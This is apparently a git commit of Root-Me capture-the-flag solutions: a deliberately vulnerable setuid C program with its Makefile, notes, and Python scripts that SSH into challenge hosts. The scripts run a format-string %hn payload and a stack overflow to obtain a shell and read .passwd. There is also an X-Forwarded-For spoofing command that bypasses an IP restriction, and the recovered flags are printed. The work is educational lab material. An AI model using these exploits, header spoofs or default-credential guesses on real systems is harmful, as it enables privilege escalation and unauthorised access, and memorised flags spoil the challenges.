feat: app system challenges
Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
This commit is contained in:
@@ -0,0 +1,28 @@
|
||||
CHALLENGE=ch14
|
||||
USER=app-systeme-$(CHALLENGE)
|
||||
USER_CRACKED=$(USER)-cracked
|
||||
|
||||
CC=gcc
|
||||
CFLAGS=-m32 -no-pie
|
||||
LDFLAGS=-z noexecstack
|
||||
|
||||
SRC=$(CHALLENGE).c
|
||||
OBJ=$(SRC:.c=.o)
|
||||
BIN=$(CHALLENGE)
|
||||
|
||||
.DEFAULT_GOAL := challenge
|
||||
.PHONY : clean all
|
||||
|
||||
$(BIN): $(OBJ)
|
||||
@echo "Compiling..."
|
||||
$(CC) -o $@ $(SRC) $(LDFLAGS) $(CFLAGS)
|
||||
|
||||
challenge: $(BIN)
|
||||
@echo "Applying permissions..."
|
||||
rm -f $(OBJ)
|
||||
chown $(USER_CRACKED):$(USER) $(BIN) .passwd Makefile $(SRC)
|
||||
chmod 400 .passwd
|
||||
chmod 440 $(SRC) Makefile
|
||||
chmod 550 $(BIN)
|
||||
chmod u+s $(BIN)
|
||||
|
||||
BIN
app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14
Executable file
BIN
app-system/elf-x86-format-string-bug-basic-2/artifacts/ch14
Executable file
Binary file not shown.
@@ -0,0 +1,37 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main( int argc, char ** argv )
|
||||
|
||||
{
|
||||
|
||||
int var;
|
||||
int check = 0x04030201;
|
||||
|
||||
char fmt[128];
|
||||
|
||||
if (argc <2)
|
||||
exit(0);
|
||||
|
||||
memset( fmt, 0, sizeof(fmt) );
|
||||
|
||||
printf( "check at 0x%x\n", &check );
|
||||
printf( "argv[1] = [%s]\n", argv[1] );
|
||||
|
||||
snprintf( fmt, sizeof(fmt), argv[1] );
|
||||
|
||||
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||
printf ("\nYou are on the right way !\n");
|
||||
|
||||
printf( "fmt=[%s]\n", fmt );
|
||||
printf( "check=0x%x\n", check );
|
||||
|
||||
if (check==0xdeadbeef)
|
||||
{
|
||||
printf("Yeah dude ! You win !\n");
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
}
|
||||
}
|
||||
250
app-system/elf-x86-format-string-bug-basic-2/notes.org
Normal file
250
app-system/elf-x86-format-string-bug-basic-2/notes.org
Normal file
@@ -0,0 +1,250 @@
|
||||
* ELF x86 - Format string bug basic 2
|
||||
|
||||
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
|
||||
|
||||
Aufgabe
|
||||
Einstellungen der Umgebung
|
||||
PIE Position Independent Executable pas_valide.svg?1566650180
|
||||
RelRO Read Only relocations pas_valide.svg?1566650180
|
||||
NX Non-Executable Stack valide.svg?1566650190
|
||||
Heap exec Non-Executable Heap valide.svg?1566650190
|
||||
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
|
||||
SF Source Fortification pas_valide.svg?1566650180
|
||||
SSP Stack-Smashing Protection valide.svg?1566650190
|
||||
SRC Zugriff auf den Source code valide.svg?1566650190
|
||||
Quellcode
|
||||
#+begin_src C
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main( int argc, char ** argv )
|
||||
{
|
||||
int var;
|
||||
int check = 0x04030201;
|
||||
|
||||
char fmt[128];
|
||||
|
||||
if (argc <2)
|
||||
exit(0);
|
||||
|
||||
memset( fmt, 0, sizeof(fmt) );
|
||||
|
||||
printf( "check at 0x%x\n", &check );
|
||||
printf( "argv[1] = [%s]\n", argv[1] );
|
||||
|
||||
snprintf( fmt, sizeof(fmt), argv[1] );
|
||||
|
||||
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||
printf ("\nYou are on the right way !\n");
|
||||
|
||||
printf( "fmt=[%s]\n", fmt );
|
||||
printf( "check=0x%x\n", check );
|
||||
|
||||
if (check==0xdeadbeef)
|
||||
{
|
||||
printf("Yeah dude ! You win !\n");
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
}
|
||||
}
|
||||
#+end_src
|
||||
|
||||
Zugangsdaten für die Übung
|
||||
#+begin_quote
|
||||
Host challenge02.root-me.org
|
||||
Protokoll SSH
|
||||
Port 2222
|
||||
Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org
|
||||
Benutzername app-systeme-ch14
|
||||
Passwort app-systeme-ch14
|
||||
#+end_quote
|
||||
|
||||
* Investigation Log
|
||||
|
||||
** Downloaded challenge files
|
||||
|
||||
Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=.
|
||||
|
||||
Makefile confirms build flags:
|
||||
- =-m32 -no-pie=
|
||||
- =-z noexecstack=
|
||||
|
||||
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
|
||||
|
||||
** Vulnerability
|
||||
|
||||
The bug is here:
|
||||
|
||||
#+begin_src c
|
||||
snprintf(fmt, sizeof(fmt), argv[1]);
|
||||
#+end_src
|
||||
|
||||
=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory.
|
||||
|
||||
Target variable:
|
||||
|
||||
#+begin_src c
|
||||
int check = 0x04030201;
|
||||
...
|
||||
if (check == 0xdeadbeef) {
|
||||
system("/bin/bash");
|
||||
}
|
||||
#+end_src
|
||||
|
||||
** Stack argument offset discovery
|
||||
|
||||
Bruteforce payload: =AAAA.%<i>$x=.
|
||||
|
||||
Result: at offset =9= we get =41414141=.
|
||||
|
||||
So first 4 bytes of our payload are interpreted as argument 9.
|
||||
|
||||
** Write strategy
|
||||
|
||||
Need to write =0xdeadbeef= into =check=.
|
||||
|
||||
Used two half-word writes with =%hn=:
|
||||
- lower half (addr): =0xbeef= (=48879=)
|
||||
- upper half (addr+2): =0xdead= (=57005=)
|
||||
|
||||
Payload layout:
|
||||
- 4 bytes: =p32(check_addr)=
|
||||
- 4 bytes: =p32(check_addr+2)=
|
||||
- format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
||||
|
||||
Why those paddings:
|
||||
- first 8 bytes already count as printed characters
|
||||
- 48871 + 8 = 48879 (0xbeef) -> first =%hn=
|
||||
- 8126 more chars -> 57005 (0xdead) -> second =%hn=
|
||||
|
||||
** Address behavior and PTY note
|
||||
|
||||
=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
|
||||
|
||||
For reliable exploit:
|
||||
- probe =check= address with same payload length and PTY mode
|
||||
- immediately run exploit in PTY mode
|
||||
|
||||
Observed stable PTY probe address: =0xbffffb88=.
|
||||
|
||||
** Successful exploitation
|
||||
|
||||
Exploit output:
|
||||
- =check=0xdeadbeef=
|
||||
- =Yeah dude ! You win !=
|
||||
- effective uid switched to =app-systeme-ch14-cracked=
|
||||
|
||||
Recovered password:
|
||||
|
||||
#+begin_quote
|
||||
1l1k3p0Rn&P0pC0rn
|
||||
#+end_quote
|
||||
|
||||
* Helper Scripts
|
||||
|
||||
- =scripts/find_offset.py=: brute-force the format-string stack offset.
|
||||
- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=.
|
||||
|
||||
** Note: exploit implementation without struct.pack
|
||||
|
||||
The exploit script no longer uses =struct.pack("<I", ...)=.
|
||||
|
||||
Instead, it uses a manual little-endian encoder:
|
||||
|
||||
#+begin_src python
|
||||
def p32_le(value: int) -> bytes:
|
||||
value &= 0xFFFFFFFF
|
||||
return bytes((
|
||||
value & 0xFF,
|
||||
(value >> 8) & 0xFF,
|
||||
(value >> 16) & 0xFF,
|
||||
(value >> 24) & 0xFF,
|
||||
))
|
||||
#+end_src
|
||||
|
||||
This produces the same 4-byte layout as =struct.pack("<I", value)= on x86.
|
||||
|
||||
Example:
|
||||
- =0xbffffb88= -> bytes =88 fb ff bf=
|
||||
- =0xbffffb8a= -> bytes =8a fb ff bf=
|
||||
|
||||
So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=.
|
||||
|
||||
* Solution Explanation
|
||||
|
||||
1) Identify the bug
|
||||
|
||||
The program calls:
|
||||
|
||||
#+begin_src c
|
||||
snprintf(fmt, sizeof(fmt), argv[1]);
|
||||
#+end_src
|
||||
|
||||
User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=).
|
||||
|
||||
2) Define the win condition
|
||||
|
||||
The shell is spawned only if:
|
||||
|
||||
#+begin_src c
|
||||
if (check == 0xdeadbeef) {
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
}
|
||||
#+end_src
|
||||
|
||||
So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=.
|
||||
|
||||
3) Find where our bytes land in variadic arguments
|
||||
|
||||
Using marker payloads like =AAAA.%<i>$x=, we detect when =41414141= appears.
|
||||
|
||||
Observed offset: =9=.
|
||||
|
||||
Meaning:
|
||||
- bytes 0..3 of payload are read as argument 9
|
||||
- bytes 4..7 of payload are read as argument 10
|
||||
|
||||
4) Choose a safe write primitive
|
||||
|
||||
Writing full 32-bit with one =%n= is possible but impractical due to huge padding.
|
||||
|
||||
Use two half-word writes with =%hn=:
|
||||
- write lower 16 bits (=0xbeef=) to =check=
|
||||
- write upper 16 bits (=0xdead=) to =check+2=
|
||||
|
||||
5) Build the payload
|
||||
|
||||
Payload bytes:
|
||||
- first 4 bytes: little-endian address of =check=
|
||||
- next 4 bytes: little-endian address of =check+2=
|
||||
- then format tail: =%11$48871x%9$hn%12$8126x%10$hn=
|
||||
|
||||
Padding math:
|
||||
- 8 raw address bytes are already counted as printed chars
|
||||
- need first total count =48879= (=0xbeef=): print =48871= extra chars
|
||||
- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars
|
||||
|
||||
6) Handle runtime detail (PTY stability)
|
||||
|
||||
The stack address printed for =check= is stable only for the same invocation style.
|
||||
|
||||
PTY vs non-PTY shifts addresses. Reliable method:
|
||||
- probe address in PTY mode with same payload length
|
||||
- exploit immediately in PTY mode with same layout
|
||||
|
||||
7) Confirm success
|
||||
|
||||
Successful run shows:
|
||||
- =check=0xdeadbeef=
|
||||
- =Yeah dude ! You win !=
|
||||
- effective identity =app-systeme-ch14-cracked=
|
||||
- readable flag/password file =.passwd=
|
||||
|
||||
Recovered password:
|
||||
|
||||
#+begin_quote
|
||||
1l1k3p0Rn&P0pC0rn
|
||||
#+end_quote
|
||||
85
app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Executable file
85
app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Executable file
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import re
|
||||
import shlex
|
||||
|
||||
import paramiko
|
||||
|
||||
|
||||
HOST = "challenge02.root-me.org"
|
||||
PORT = 2222
|
||||
USER = "app-systeme-ch14"
|
||||
PASSWORD = "app-systeme-ch14"
|
||||
BIN = "/challenge/app-systeme/ch14/ch14"
|
||||
|
||||
|
||||
FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
|
||||
|
||||
|
||||
def p32_le(value: int) -> bytes:
|
||||
value &= 0xFFFFFFFF
|
||||
return bytes(
|
||||
(
|
||||
value & 0xFF,
|
||||
(value >> 8) & 0xFF,
|
||||
(value >> 16) & 0xFF,
|
||||
(value >> 24) & 0xFF,
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def make_remote_cmd(payload: bytes) -> str:
|
||||
b64 = base64.b64encode(payload).decode()
|
||||
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
||||
return "python3 -c " + shlex.quote(py)
|
||||
|
||||
|
||||
def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
||||
cmd = make_remote_cmd(payload)
|
||||
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
||||
return stdout.read().decode("latin-1", "ignore")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
||||
|
||||
try:
|
||||
total_len = 8 + len(FMT_TAIL)
|
||||
probe = b"A" * total_len
|
||||
|
||||
probe_out = run_read_all(ssh, probe, pty=True)
|
||||
m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
|
||||
if not m:
|
||||
raise RuntimeError("could not parse check address from probe output")
|
||||
check_addr = int(m.group(1), 16)
|
||||
print(f"[+] check address: 0x{check_addr:08x}")
|
||||
|
||||
payload = p32_le(check_addr)
|
||||
payload += p32_le(check_addr + 2)
|
||||
payload += FMT_TAIL
|
||||
|
||||
if len(payload) != total_len:
|
||||
raise RuntimeError("payload length changed; probe and exploit would desync")
|
||||
|
||||
cmd = make_remote_cmd(payload)
|
||||
stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
|
||||
stdin.write("id\n")
|
||||
stdin.write("cat .passwd\n")
|
||||
stdin.write("exit\n")
|
||||
stdin.flush()
|
||||
|
||||
out = stdout.read().decode("latin-1", "ignore")
|
||||
print(out)
|
||||
|
||||
if "check=0xdeadbeef" in out:
|
||||
print("[+] exploitation successful")
|
||||
else:
|
||||
print("[-] exploitation failed")
|
||||
finally:
|
||||
ssh.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
51
app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py
Executable file
51
app-system/elf-x86-format-string-bug-basic-2/scripts/find_offset.py
Executable file
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
import base64
|
||||
import re
|
||||
import shlex
|
||||
|
||||
import paramiko
|
||||
|
||||
|
||||
HOST = "challenge02.root-me.org"
|
||||
PORT = 2222
|
||||
USER = "app-systeme-ch14"
|
||||
PASSWORD = "app-systeme-ch14"
|
||||
BIN = "/challenge/app-systeme/ch14/ch14"
|
||||
|
||||
|
||||
def run_payload(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
||||
b64 = base64.b64encode(payload).decode()
|
||||
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
||||
cmd = "python3 -c " + shlex.quote(py)
|
||||
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
||||
return stdout.read().decode("latin-1", "ignore")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
||||
|
||||
try:
|
||||
found = None
|
||||
for i in range(1, 80):
|
||||
payload = f"AAAA.%{i}$x".encode()
|
||||
out = run_payload(ssh, payload)
|
||||
m = re.search(r"fmt=\[(.*)\]", out)
|
||||
if not m:
|
||||
continue
|
||||
fmt_out = m.group(1).lower()
|
||||
if "41414141" in fmt_out:
|
||||
found = i
|
||||
print(f"[+] offset found: {i}")
|
||||
print(f"[+] fmt output: {m.group(1)}")
|
||||
break
|
||||
|
||||
if found is None:
|
||||
print("[-] offset not found in tested range")
|
||||
finally:
|
||||
ssh.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
import time
|
||||
|
||||
import paramiko
|
||||
|
||||
HOST = "challenge02.root-me.org"
|
||||
PORT = 2222
|
||||
USER = "app-systeme-ch13"
|
||||
PASSWORD = "app-systeme-ch13"
|
||||
|
||||
|
||||
def drain(channel: paramiko.Channel, loops: int = 20, delay: float = 0.2) -> str:
|
||||
chunks = []
|
||||
for _ in range(loops):
|
||||
time.sleep(delay)
|
||||
while channel.recv_ready():
|
||||
chunks.append(channel.recv(65535).decode("utf-8", errors="replace"))
|
||||
return "".join(chunks)
|
||||
|
||||
|
||||
def run() -> None:
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(
|
||||
hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15
|
||||
)
|
||||
try:
|
||||
shell = client.invoke_shell()
|
||||
banner = drain(shell, loops=10)
|
||||
if banner:
|
||||
print(banner, end="")
|
||||
|
||||
exploit = (
|
||||
'(python3 -c "import sys; '
|
||||
"sys.stdout.buffer.write(b'A'*40+b'\\xef\\xbe\\xad\\xde')\"; "
|
||||
"cat) | ./ch13\n"
|
||||
)
|
||||
shell.send(exploit.encode())
|
||||
print(drain(shell, loops=12), end="")
|
||||
|
||||
shell.send(b"id\n")
|
||||
shell.send(b"cat .passwd\n")
|
||||
shell.send(b"exit\n")
|
||||
print(drain(shell, loops=20), end="")
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
@@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env python3
|
||||
import paramiko
|
||||
|
||||
HOST = "challenge02.root-me.org"
|
||||
PORT = 2222
|
||||
USER = "app-systeme-ch13"
|
||||
PASSWORD = "app-systeme-ch13"
|
||||
|
||||
|
||||
def run() -> None:
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
client.connect(
|
||||
hostname=HOST, port=PORT, username=USER, password=PASSWORD, timeout=15
|
||||
)
|
||||
try:
|
||||
commands = [
|
||||
"pwd",
|
||||
"ls -la",
|
||||
"file ch13",
|
||||
"checksec --file=ch13 || true",
|
||||
"./ch13 <<<'AAAA'",
|
||||
]
|
||||
for cmd in commands:
|
||||
stdin, stdout, stderr = client.exec_command(cmd)
|
||||
out = stdout.read().decode("utf-8", errors="replace")
|
||||
err = stderr.read().decode("utf-8", errors="replace")
|
||||
print(f"--- $ {cmd} ---")
|
||||
if out:
|
||||
print(out, end="" if out.endswith("\n") else "\n")
|
||||
if err:
|
||||
print("[stderr]")
|
||||
print(err, end="" if err.endswith("\n") else "\n")
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
97
app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org
Normal file
97
app-system/elf-x86-stack-buffer-overflow-basic-1/notes.org
Normal file
@@ -0,0 +1,97 @@
|
||||
* ELF x86 - Stack buffer overflow basic 1
|
||||
Aufgabe
|
||||
Einstellungen der Umgebung
|
||||
PIE Position Independent Executable pas_valide.svg?1566650180
|
||||
RelRO Read Only relocations pas_valide.svg?1566650180
|
||||
NX Non-Executable Stack pas_valide.svg?1566650180
|
||||
Heap exec Non-Executable Heap pas_valide.svg?1566650180
|
||||
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
|
||||
SF Source Fortification pas_valide.svg?1566650180
|
||||
SRC Zugriff auf den Source code valide.svg?1566650190
|
||||
Quellcode
|
||||
#+begin_src C
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
int var;
|
||||
int check = 0x04030201;
|
||||
char buf[40];
|
||||
|
||||
fgets(buf,45,stdin);
|
||||
|
||||
printf("\n[buf]: %s\n", buf);
|
||||
printf("[check] %p\n", check);
|
||||
|
||||
if ((check != 0x04030201) && (check != 0xdeadbeef))
|
||||
printf ("\nYou are on the right way!\n");
|
||||
|
||||
if (check == 0xdeadbeef)
|
||||
{
|
||||
printf("Hell yeah! You win!\nOpening your shell...\n");
|
||||
setreuid(geteuid(), geteuid());
|
||||
system("/bin/bash");
|
||||
printf("Shell closed! Bye.\n");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
#+end_src
|
||||
|
||||
#+begin_quote
|
||||
Zugangsdaten für die Übung
|
||||
Host challenge02.root-me.org
|
||||
Protokoll SSH
|
||||
Port 2222
|
||||
Zugang per SSH ssh -p 2222 app-systeme-ch13@challenge02.root-me.org
|
||||
Benutzername app-systeme-ch13
|
||||
Passwort app-systeme-ch13
|
||||
#+end_quote
|
||||
|
||||
#+begin_src sh
|
||||
python3 -c "import sys; sys.stdout.buffer.write(b'A'*(40) + b'\xef\xbe\xad\xde')" | ./ch13
|
||||
#+end_src
|
||||
|
||||
** Findings (live target)
|
||||
|
||||
- Remote path: =/challenge/app-systeme/ch13=
|
||||
- Binary: =ch13: setuid ELF 32-bit, dynamically linked, not stripped=
|
||||
- Effective mitigations from runtime check:
|
||||
- Partial RELRO
|
||||
- No stack canary
|
||||
- NX enabled
|
||||
- No PIE
|
||||
- ASLR OFF (on target host)
|
||||
- Vulnerability: =fgets(buf,45,stdin)= writes up to 44 bytes into =char buf[40]=, overflowing 4 bytes into adjacent =check=.
|
||||
- Target value: overwrite =check= from =0x04030201= to =0xdeadbeef= (little-endian bytes =\xef\xbe\xad\xde=).
|
||||
|
||||
** Working exploitation flow
|
||||
|
||||
- Basic trigger (proves control of =check=):
|
||||
|
||||
#+begin_src sh
|
||||
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xef\xbe\xad\xde')" | ./ch13
|
||||
#+end_src
|
||||
|
||||
- To keep stdin open for the spawned SUID shell, use a pipeline with =cat=:
|
||||
|
||||
#+begin_src sh
|
||||
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\xef\xbe\xad\xde')"; cat) | ./ch13
|
||||
id
|
||||
cat .passwd
|
||||
exit
|
||||
#+end_src
|
||||
|
||||
- Observed privilege in spawned shell:
|
||||
- =uid=1213(app-systeme-ch13-cracked)=
|
||||
- =gid=1113(app-systeme-ch13)=
|
||||
- Retrieved validation password:
|
||||
- =1w4ntm0r3pr0np1s=
|
||||
|
||||
** Helper scripts
|
||||
|
||||
- =helper_recon.py=: SSH recon script (pwd, ls, file, checksec, smoke run).
|
||||
- =helper_exploit_password.py=: SSH interactive exploit script that keeps stdin open and reads =.passwd=.
|
||||
4
web-server/backup-file/notes.org
Normal file
4
web-server/backup-file/notes.org
Normal file
@@ -0,0 +1,4 @@
|
||||
* Backup file
|
||||
|
||||
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Backup-file
|
||||
http://challenge01.root-me.org/web-serveur/ch11/
|
||||
@@ -1,6 +1,8 @@
|
||||
|
||||
* HTML - Source code
|
||||
|
||||
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTML
|
||||
|
||||
Suchen Sie nicht zu weit weg
|
||||
|
||||
[[./index.html]]
|
||||
|
||||
27
web-server/http-ip-restriction-bypass/index.html
Normal file
27
web-server/http-ip-restriction-bypass/index.html
Normal file
@@ -0,0 +1,27 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Secured Intranet</title>
|
||||
</head>
|
||||
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=internal_header'></iframe>
|
||||
<span>Your IP <strong>::ffff:94.135.236.24</strong> do not belong to the LAN.</span>
|
||||
<h1>Intranet</h1>
|
||||
<form method="post">
|
||||
<p>
|
||||
<label for="login">Login:</label>
|
||||
<input type="text" name="login">
|
||||
</p>
|
||||
<p>
|
||||
<label for="pass">Password:</label>
|
||||
<input type="text" name="mdp">
|
||||
</p>
|
||||
<p>
|
||||
<input type="submit" value="login">
|
||||
</p>
|
||||
<p>
|
||||
<small>You should authenticate because you're not on the LAN.</small>
|
||||
</p>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
40
web-server/http-ip-restriction-bypass/notes.org
Normal file
40
web-server/http-ip-restriction-bypass/notes.org
Normal file
@@ -0,0 +1,40 @@
|
||||
* HTTP - IP restriction bypass
|
||||
|
||||
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTTP-IP-restriction-bypass
|
||||
Description: Nur lokale Benutzer können auf die Seite zugreifen
|
||||
|
||||
Aufgabe
|
||||
#+begin_quote
|
||||
Liebe Kollegen,
|
||||
|
||||
Wir verwalten jetzt die Verbindungen zum Intranet über private IP-Adressen, so dass es nicht mehr notwendig ist, sich mit einem Benutzernamen/Passwort anzumelden, wenn Sie bereits mit dem internen Firmennetz verbunden sind.
|
||||
|
||||
Herzliche Grüße,
|
||||
|
||||
Der Netzverwalter
|
||||
#+end_quote
|
||||
|
||||
-----
|
||||
|
||||
Challenge Website: http://challenge01.root-me.org/web-serveur/ch68/
|
||||
|
||||
Analyse
|
||||
- Initial request:
|
||||
- `curl -i "http://challenge01.root-me.org/web-serveur/ch68/"`
|
||||
- Server responds with login page and message: `Your IP ::ffff:<public-ip> do not belong to the LAN.`
|
||||
- Header tests (IP spoofing candidates):
|
||||
- `X-Forwarded-For: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
|
||||
- `Client-IP: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
|
||||
- `X-Client-IP: 127.0.0.1` -> ignored by app.
|
||||
- Working bypass:
|
||||
- `X-Forwarded-For: 192.168.1.10` (also works with `10.0.0.42`)
|
||||
- `Client-IP: 192.168.1.10` also works.
|
||||
- App trusts spoofable headers and only checks if IP is in private/LAN ranges.
|
||||
|
||||
Exploit command
|
||||
#+begin_src bash
|
||||
curl -i -H "X-Forwarded-For: 192.168.1.10" "http://challenge01.root-me.org/web-serveur/ch68/"
|
||||
#+end_src
|
||||
|
||||
Flag
|
||||
- `Ip_$po0Fing`
|
||||
5
web-server/weak-password/notes.org
Normal file
5
web-server/weak-password/notes.org
Normal file
@@ -0,0 +1,5 @@
|
||||
* Weak Password
|
||||
|
||||
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/Weak-password
|
||||
|
||||
admin:admin
|
||||
Reference in New Issue
Block a user